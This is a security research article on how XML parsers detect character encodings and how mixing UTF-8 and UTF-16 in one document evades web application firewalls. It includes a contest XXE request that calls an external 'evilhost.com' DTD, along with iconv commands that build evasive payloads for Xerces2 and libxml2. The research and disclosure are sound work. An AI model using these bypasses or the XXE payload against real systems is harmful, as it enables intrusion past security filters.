Evil XML with Two Encodings

WAFs see a white noise instead of the document!

In this article, I explain how XML parsers decode XML from different encodings and how to bypass WAFs by using some of the XML decoding features.

What encodings are supported in XML

According to the specification, all XML parsers must be capable of reading documents in at least two encodings: UTF-8 and UTF-16. Many parsers support more encodings, but these should always work.

Both UTF-8 and UTF-16 are used for writing characters from the Unicode table.

The difference between UTF-8 and UTF-16 is in the way they encode the Unicode characters to a binary code.


In UTF-8, a character is encoded as a sequence of one to four bytes.

The binary code of an encoded character is defined by this template:

Number of bytes Significant bits Binary code
1 7 0xxxxxxx
2 11 110xxxxx 10xxxxxx
3 16 1110xxxx 10xxxxxx 10xxxxxx
4 21 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

An overlong encoding is prohibited, so only the shortest method is correct.


In UTF-16, a character is encoded as a sequence of two or four bytes.

The binary code is defined by the following template:

Number of bytes Significant bits Binary code
2 16 xxxxxxxx xxxxxxxx
4 * 20 110110xx xxxxxxxx 110111xx xxxxxxxx

* 0x00010000 is subtracted from a character code before encoding it

If a symbol has been written by four bytes, its binary code is called a surrogate pair. A surrogate pair is a combination of two common symbols from the reserved range: U+D800 to U+DFFF. One half of a surrogate pair is not valid.

UTF-16: BE and LE encodings

There are two types of UTF-16: UTF-16BE and UTF-16LE (big-endian / little-endian). They have a different order of bytes.

Big-endian is a “natural” order of bytes like in the Arabic numerals. Little-endian is an inverse order of bytes. It’s used in x86-64 and is more common for computers.

Some examples of encoding symbols in UTF-16BE and UTF-16LE:

Encoding Symbol Binary code
UTF-16BE U+003F 00000000 00111111
UTF-16LE U+003F 00111111 00000000
UTF-16BE * U+1D6E5 11011000 00110101 11011110 11100101
UTF-16LE * U+1D6E5 00110101 11011000 11100101 11011110

* In a surrogate pair, each of the “characters” is inverted on its own. This is designed for backward compatibility with Unicode 1.0, where all symbols were encoded using two bytes only.

How do parsers detect encoding

According to the XML specification, parsers detect encoding in four ways:

By external information about encoding

Some network protocols have a special field that indicates the encoding:

Specifying the encoding of the document in the WebDav protocol

Most frequently these are protocols that built by the MIME standard. For example it’s SMTP, HTTP, and WebDav.

By reading Byte Order Mark (BOM)

The Byte Order Mark (BOM) is a special character with the U+FEFF code.

If a parser finds a BOM at the beginning of the document, then the encoding is determined by the binary code of the BOM.

Encoding BOM Example
UTF-8 EF BB BF EF BB BF 3C 3F 78 6D 6C ...<?xml
UTF-16BE FE FF FE FF 00 3C 00 3F 00 78 00 6D 00 6C ...<.?.x.m.l
UTF-16LE FF FE FF FE 3C 00 3F 00 78 00 6D 00 6C 00 ..<.?.x.m.l.

Most popular encodings and their BOMs

BOM only works at the beginning of the document. In the middle a BOM will be read as a special space.

By first symbols of document

The specification allows parsers to determine encoding by the first bytes:

Encoding Document
ISO 646
3C 3F 78 6D <?xm
UTF-16BE 00 3C 00 3F .<.?
UTF-16LE 3C 00 3F 00 <.?.

But, this only works for documents that start with an XML declaration.

By XML declaration

The encoding can be written in the XML declaration:

<?xml version="1.0" encoding="UTF-8"?>

An XML declaration is a special string that can be written at the beginning of the document. A parser understands the version of the document’s standard by this string.

<?xml version="1.0" encoding="ISO-8859-1" ?>

Document in the ISO-8859-1 encoding

Obviously, in order to read the declaration, parsers have to know the encoding in which the declaration was written. But, the XML declaration is useful for clarification between ASCII-compatible encodings.

Known Technique: WAF bypass by using UTF-16

The most common way to bypass a WAF by using XML encodings is to encode the XML to a non-compatible with ASCII encoding, and hope that the WAF will fail to understand it.

For example, this technique worked in the PHDays WAF Bypass contest in 2016.

Host: d3rr0r1m.waf-bypass.phdays.com
Connection: close
Content-Type: text/xml
User-Agent: Mozilla/5.0
Content-Length: 149

<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY % xxe SYSTEM "http://evilhost.com/waf.dtd">

Request that exploited XXE from the contest

One of the solutions to this task was to encode the XML from the POST’s body into UTF-16BE without a BOM:

cat original.xml | iconv -f UTF-8 -t UTF-16BE > payload.xml

In this document, the organizer’s WAF didn’t see anything dangerous and did process the request.

New Technique: WAF Bypass by using Two Encodings

There is a way to confuse a WAF by encoding XML using two encodings simultaneously.

When a parser reads encoding from the XML declaration, it immediately switches to it. Including the case when the new encoding isn’t compatible with the encoding in which the XML declaration was written.

I didn’t find a WAF that supports parsing such multi-encoded documents.

‎Xerces2 Java Parser

The XML-declaration is in ASCII, the root element is in UTF-16BE:

00000000 3C3F 786D 6C20 7665 7273 696F 6E3D 2231 <?xml version="1
00000010 2E30 2220 656E 636F 6469 6E67 3D22 5554 .0" encoding="UT
00000020 462D 3136 4245 223F 3E00 3C00 6100 3E00 F-16BE"?>.<.a.>.
00000030 3100 3300 3300 3700 3C00 2F00 6100 3E<./.a.>

Commands for encoding your XML:

echo -n '<?xml version="1.0" encoding="UTF-16BE"?>' > payload.xml
echo -n '<a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> payload.xml


libxml2 switches the encoding immediately after it reads it from the “attribute”. Therefore, we need to change the encoding before closing the declaration:

00000000 3C3F 786D 6C20 7665 7273 696F 6E3D 2231 <?xml version="1
00000010 2E30 2220 656E 636F 6469 6E67 3D22 5554 .0" encoding="UT
00000020 462D 3136 4245 2200 3F00 3E00 3C00 6100 F-16BE".?.>.<.a.
00000030 3E00 3100 3300 3300 3700 3C00 2F00 6100 >.<./.a.
00000040 3E >

Commands for encoding your XML:

echo -n '<?xml version="1.0" encoding="UTF-16BE"' > payload.xml
echo -n '?><a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> payload.xml


The technique was discovered on September 5th, 2017. The first publication of this material was on Habr (in Russian) on October 13th, 2017.

Nicolas Grégoire released on Twitter a similar technique for ‎Xerces2 and UTF-7 on October 12th, 2017, and that’s why I published this article on Habr in less than 24 hours later.

In addition to UTF-7, UTF-8, and UTF-16, you can use many different encodings, but you should take into account your parser’s capabilities.

 12897   2018   DTD   SECURITY   WAF   XML   XXE